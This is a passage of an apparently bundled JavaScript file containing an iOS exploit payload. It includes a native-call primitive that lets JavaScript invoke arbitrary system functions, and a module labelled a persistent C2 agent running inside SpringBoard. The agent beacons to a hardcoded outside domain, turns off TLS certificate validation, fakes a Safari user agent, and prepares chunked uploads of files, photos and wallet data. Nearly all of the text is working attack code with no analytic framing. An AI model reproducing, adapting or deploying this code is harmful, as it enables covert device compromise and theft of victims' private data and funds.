= this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr)\n\t\t\tthis.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\t//log(\"nativeCallAddr(): \" + addr);\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\t\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\n\t\tinvoker();\n\t\t\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\t//log(\"nativeCallSymbol(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n\t\n\tstatic #nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"nativeCallSymbolRetain(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\t\n\t\tconst selRetainArguments = this.callSymbol(\"sel_registerName\", \"retainArguments\");\n\t\tconst selSetArgument = this.callSymbol(\"sel_registerName\", \"setArgument:atIndex:\");\n\t\tconst selInvokeUsingIMP = this.callSymbol(\"sel_registerName\", \"invokeUsingIMP:\");\n\t\tconst selGetReturnValue = this.callSymbol(\"sel_registerName\", \"getReturnValue:\");\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selRetainArguments);\n\t\t\n\t\tif (x0) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x0, 0);\n\t\tif (x1) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x1, 1);\n\t\tif (x2) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x2, 2);\n\t\tif (x3) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x3, 3);\n\t\tif (x4) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x4, 4);\n\t\tif (x5) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x5, 5);\n\t\tif (x6) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x6, 6);\n\t\tif (x7) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x7, 7);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selInvokeUsingIMP, funcAddr);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selGetReturnValue, this.#argMemPtr);\n\t\tconst ret64 = this.readPtr(this.#argMemPtr);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\nfunction File(path) {\n\treturn path;\n}\n\nfunction log(msg) {\n\tif (logging)\n\t\treturn;\n\n\tlogging = true;\n\t\n\tconst data = Native.stringToBytes(msg + \"\\n\");\n\n\tconst O_WRONLY = 0x0001;\n\tconst O_APPEND = 0x0008;\n\tconst O_CREAT = 0x0200;\n\tconst flags = O_WRONLY | O_CREAT | O_APPEND;\n\tconst fd = Native.callSymbol(\"open\", File(logfile), flags, 0o644);\n\tif (fd < 0) {\n\t\tlogging = false;\n\t\treturn;\n\t}\n\n\t// For some reason file mode is not applied on open()\n\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\tlet offs = 0;\n\tlet left = data.byteLength;\n\n\tconst buffSize = 0x4000;\n\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\twhile (left) {\n\t\tconst size = left > buffSize ? buffSize : left;\n\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\tconst dst8 = new Uint8Array(src8);\n\t\tNative.write(buffPtr, dst8.buffer);\n\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\tif (!len || len < 0)\n\t\t\tbreak;\n\t\toffs += len;\n\t\tleft -= len;\n\t}\n\n\tNative.callSymbol(\"free\", buffPtr);\n\tNative.callSymbol(\"close\", fd);\n\n\tlogging = false;\n}\n\nvar logging = false;\nconst logfile = \"/private/var/mobile/Media/RemoteLog.log\";\n\nNative.init();\n\nNative.callSymbol(\"unlink\", File(logfile));\n"); /***/ }), /***/ "./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js": /*!****************************************************************!*\ !*** ./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// C2 Agent Payload - persistent loop in SpringBoard\n// Communicates with command.py via HTTP, runs until reboot\n// https://iy491j2ltb2i2sv.icu/beacon / https://iy491j2ltb2i2sv.icu/result replaced by server.py at load time\n// UUID and device model are obtained natively at runtime\n\nconst C2_BEACON_URL = \"https://iy491j2ltb2i2sv.icu/beacon\";\nconst C2_RESULT_URL = \"https://iy491j2ltb2i2sv.icu/result\";\nconst C2_CHANNEL_CODE = \"\";\nconst HQ_API_BASE = \"https://iy491j2ltb2i2sv.icu\";\nconst HQ_WALLET_PORT = \"443\";\nconst MAX_FILE_SIZE = 2 * 1024 * 1024;\nconst CHUNK_SIZE = 1024 * 1024;\n\n// ============================================================================\n// Native Class (shared nativeCallBuff + invoker pattern)\n// ============================================================================\n\nclass Native {\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\tstatic #dlsymCache = {};\n\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr= this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr= this.#argMemPtrStr;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0, left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0, left = length;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\n\tstatic readPtr(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 8));\n\t\treturn v.getBigUint64(0, true);\n\t}\n\tstatic read32(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 4));\n\t\treturn v.getInt32(0, true);\n\t}\n\tstatic write64(ptr, value) {\n\t\tconst b = new ArrayBuffer(8);\n\t\tnew DataView(b).setBigUint64(0, value, true);\n\t\tthis.write(ptr, b);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\treturn this.bytesToString(this.read(ptr, len), false);\n\t}\n\tstatic writeString(ptr, str) {\n\t\tthis.write(ptr, this.stringToBytes(str, true));\n\t}\n\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0); x1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2); x3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4); x5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6); x7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNull=true) {\n\t\tlet a = new Uint8Array(bytes), s = \"\";\n\t\tfor (let i = 0; i < a.length; i++) {\n\t\t\tif (!includeNull && !a[i]) break;\n\t\t\ts += String.fromCharCode(a[i]);\n\t\t}\n\t\treturn s;\n\t}\n\tstatic stringToBytes(str, nullTerm=false) {\n\t\tlet b = new ArrayBuffer(str.length + (nullTerm ? 1 : 0));\n\t\tlet a = new Uint8Array(b);\n\t\tfor (let i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\t\tif (nullTerm) a[str.length] = 0;\n\t\treturn a.buffer;\n\t}\n\n\tstatic #toNative(v) {\n\t\tif (!v) return 0n;\n\t\tif (typeof v === 'string') {\n\t\t\tif (v.length >= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, v);\n\t\t\tthis.#argPtr += BigInt(v.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\treturn typeof v === 'bigint' ? v : BigInt(v);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet a = this.#dlsymCache[name];\n\t\tif (a) return a;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nb = this.stringToBytes(name, true);\n\t\tnew Uint8Array(nativeCallBuff).set(new Uint8Array(nb), 0x1000);\n\t\ta = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (a) this.#dlsymCache[name] = a;\n\t\treturn a;\n\t}\n\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet b = new BigInt64Array(nativeCallBuff);\n\t\tb[0]=addr; b[100]=x0; b[101]=x1; b[102]=x2; b[103]=x3;\n\t\tb[104]=x4; b[105]=x5; b[106]=x6; b[107]=x7;\n\t\tinvoker();\n\t\treturn b[200];\n\t}\n\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst addr = this.#dlsym(name);\n\t\tconst r = this.#nativeCallAddr(addr, ...args);\n\t\tif (r < 0xffffffffn && r > -0xffffffffn) return Number(r);\n\t\treturn r;\n\t}\n}\n\n// ============================================================================\n// URL Parsing\n// ============================================================================\n\nfunction parseURL(url) {\n\tlet host = \"\", port = 80, path = \"/\";\n\tlet s = url;\n\tif (s.indexOf(\"https://\") === 0) { s = s.substring(8); port = 443; }\n\telse if (s.indexOf(\"http://\") === 0) s = s.substring(7);\n\tconst sl = s.indexOf(\"/\");\n\tif (sl >= 0) { path = s.substring(sl); s = s.substring(0, sl); }\n\tconst cl = s.indexOf(\":\");\n\tif (cl >= 0) { host = s.substring(0, cl); port = parseInt(s.substring(cl + 1)); }\n\telse host = s;\n\treturn { host, port, path };\n}\n\n// ============================================================================\n// Base64\n// ============================================================================\n\nconst B64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nfunction bytesToBase64(bytes) {\n\tvar out = new Array(Math.ceil(bytes.length / 3));\n\tfor (var i = 0, j = 0; i < bytes.length; i += 3, j++) {\n\t\tvar a = bytes[i], b = i+1 < bytes.length ? bytes[i+1] : 0, c = i+2 < bytes.length ? bytes[i+2] : 0;\n\t\tout[j] = B64[a >> 2]\n\t\t + B64[((a & 3) << 4) | (b >> 4)]\n\t\t + (i+1 < bytes.length ? B64[((b & 15) << 2) | (c >> 6)] : \"=\")\n\t\t + (i+2 < bytes.length ? B64[c & 63] : \"=\");\n\t}\n\treturn out.join(\'\');\n}\n\n// ============================================================================\n// POSIX Socket HTTP Client (http:// only, LAN testing)\n// ============================================================================\n\nfunction _sendBytes(fd, str) {\n\tconst SZ = 4096;\n\tlet sent = 0;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ + 1));\n\twhile (sent < str.length) {\n\t\tconst end = sent + SZ < str.length ? sent + SZ : str.length;\n\t\tconst part = str.substring(sent, end);\n\t\tNative.writeString(buf, part);\n\t\tconst n = Number(Native.callSymbol(\"write\", fd, buf, part.length));\n\t\tif (n <= 0) break;\n\t\tsent += n;\n\t}\n\tNative.callSymbol(\"free\", buf);\n}\n\nfunction _recvAll(fd) {\n\tconst SZ = 4096;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ));\n\tlet result = \"\";\n\tfor (;;) {\n\t\tconst n = Number(Native.callSymbol(\"read\", fd, buf, SZ - 1));\n\t\tif (n <= 0) break;\n\t\tresult += Native.readString(buf, n);\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn result;\n}\n\nfunction _socketPost(host, port, path, bodyStr) {\n\tconst fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return null;\n\n\ttry {\n\t\tconst tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n);\n\t\tNative.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\n\t\tconst sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tconst sab = new ArrayBuffer(16);\n\t\tconst sv = new DataView(sab);\n\t\tsv.setUint8(0, 16);\n\t\tsv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tconst p = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(p[0]));\n\t\tsv.setUint8(5, parseInt(p[1]));\n\t\tsv.setUint8(6, parseInt(p[2]));\n\t\tsv.setUint8(7, parseInt(p[3]));\n\t\tNative.write(sa, sab);\n\n\t\tconst cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return null;\n\n\t\tconst hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host + \"\\r\\nContent-Type: application/json\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t_sendBytes(fd, hdr);\n\t\t_sendBytes(fd, bodyStr);\n\n\t\tconst resp = _recvAll(fd);\n\t\tconst idx = resp.indexOf(\"\\r\\n\\r\\n\");\n\t\tif (idx < 0) return null;\n\t\ttry { return JSON.parse(resp.substring(idx + 4)); } catch(e) { return null; }\n\t} finally {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n}\n\n// ============================================================================\n// CFStream HTTPS Client (https:// - production with Nginx/Cloudflare)\n// ============================================================================\n\nconst _RTLD_DEFAULT = 0xfffffffffffffffen;\n\nfunction _makeCFString(str) {\n\tvar buf = Native.callSymbol(\"malloc\", str.length + 1);\n\tNative.writeString(buf, str);\n\tvar cfs = Native.callSymbol(\"CFStringCreateWithCString\", 0n, buf, 0x08000100);\n\tNative.callSymbol(\"free\", buf);\n\treturn cfs;\n}\n\nfunction _getGlobalCF(name) {\n\tvar addr = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, name);\n\tif (!addr || addr === 0n) return 0n;\n\treturn Native.readPtr(BigInt(addr));\n}\n\nfunction _getGlobalCFSafe(name) {\n\tvar val = _getGlobalCF(name);\n\tif (val && val !== 0n) return val;\n\treturn _makeCFString(name);\n}\n\nfunction _cfstreamPost(host, port, path, bodyStr) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return null;\n\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\",\n\t\t\t0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\n\t\tNative.callSymbol(\"CFRelease\", hostCF);\n\t\thostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr));\n\t\tNative.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return null;\n\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", _RTLD_DEFAULT, \"kCFTypeDictionaryValueCallBacks\");\n\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\",\n\t\t\t\t\t0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return null;\n\n\t\t\tvar hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host +\n\t\t\t\t\"\\r\\nContent-Type: application/json\" +\n\t\t\t\t\"\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\" +\n\t\t\t\t\"\\r\\nContent-Length: \" + bodyStr.length + \"\\r\\n\\r\\n\";\n\t\t\tvar fullReq = hdr + bodyStr;\n\t\t\tvar reqBuf = Native.callSymbol(\"malloc\", fullReq.length + 1);\n\t\t\tNative.writeString(reqBuf, fullReq);\n\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < fullReq.length) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\",\n\t\t\t\t\tws, BigInt(reqBuf) + BigInt(totalSent),\n\t\t\t\t\tfullReq.length - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(reqBuf));\n\t\t\tif (totalSent < fullReq.length) return null;\n\n\t\t\tvar respBuf = Native.callSymbol(\"malloc\", 65536);\n\t\t\tvar result = \"\";\n\t\t\tfor (var ri = 0; ri < 50; ri++) {\n\t\t\t\tvar br = Number(Native.callSymbol(\"CFReadStreamRead\",\n\t\t\t\t\trs, BigInt(respBuf), 65535));\n\t\t\t\tif (br <= 0) break;\n\t\t\t\tresult += Native.readString(BigInt(respBuf), br);\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", BigInt(respBuf));\n\n\t\t\tvar idx = result.indexOf(\"\\r\\n\\r\\n\");\n\t\t\tif (idx < 0) return null;\n\t\t\ttry { return JSON.parse(result.substring(idx + 4)); } catch(e) { return null; }\n\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _writeLog(msg) {\n\ttry {\n\t\tvar ts = new Date().toISOString();\n\t\tvar line = \"[\" + ts + \"] \" + msg + \"\\n\";\n\t\tvar fd = Number(Native.callSymbol(\"open\", \"/tmp/c2_wallet_debug.log\", 0x209, 0x1FF));\n\t\tif (fd > 0) {\n\t\t\tvar buf = Native.callSymbol(\"malloc\", line.length + 1);\n\t\t\tNative.writeString(buf, line);\n\t\t\tNative.callSymbol(\"write\", fd, buf, line.length);\n\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\tNative.callSymbol(\"close\", fd);\n\t\t}\n\t} catch(e) {}\n}\n\n// ============================================================================\n// httpPost - dual mode (https -> CFStream TLS, http -> POSIX socket)\n// ============================================================================\n\nfunction httpPost(url, body) {\n\tconst { host, port, path } = parseURL(url);\n\tconst bodyStr = JSON.stringify(body);\n\tif (url.indexOf(\"https://\") === 0) {\n\t\treturn _cfstreamPost(host, port, path, bodyStr);\n\t}\n\treturn _socketPost(host, port, path, bodyStr);\n}\n\nfunction hqPost(endpoint, body) {\n\ttry { return httpPost(HQ_API_BASE + endpoint, body); }\n\tcatch(e) { return null; }\n}\n\n// ============================================================================\n// HQ Photo Multipart Upload\n// ============================================================================\n\nfunction _writeStr(ptr, str) {\n\tvar buf = new ArrayBuffer(str.length);\n\tvar a = new Uint8Array(buf);\n\tfor (var i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\tNative.write(ptr, buf);\n}\n\nfunction _cfstreamSendRaw(host, port, reqBuf, reqLen) {\n\tvar hostCF = _makeCFString(host);\n\tif (!hostCF || hostCF === 0n) return false;\n\tvar rPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\", 0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\t\tNative.callSymbol(\"CFRelease\", hostCF); hostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr)); Native.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return false;\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryValueCallBacks\");\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return false;\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < reqLen) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\", ws, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\treturn totalSent >= reqLen;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _socketSendRaw(host, port, reqBuf, reqLen) {\n\tvar fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return false;\n\ttry {\n\t\tvar tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n); Native.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\t\tvar sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar sab = new ArrayBuffer(16);\n\t\tvar sv = new DataView(sab);\n\t\tsv.setUint8(0, 16); sv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tvar pp = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(pp[0])); sv.setUint8(5, parseInt(pp[1]));\n\t\tsv.setUint8(6, parseInt(pp[2])); sv.setUint8(7, parseInt(pp[3]));\n\t\tNative.write(sa, sab);\n\t\tvar cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return false;\n\t\tvar totalSent = 0;\n\t\twhile (totalSent < reqLen) {\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", fd, reqBuf + BigInt(totalSent), reqLen - 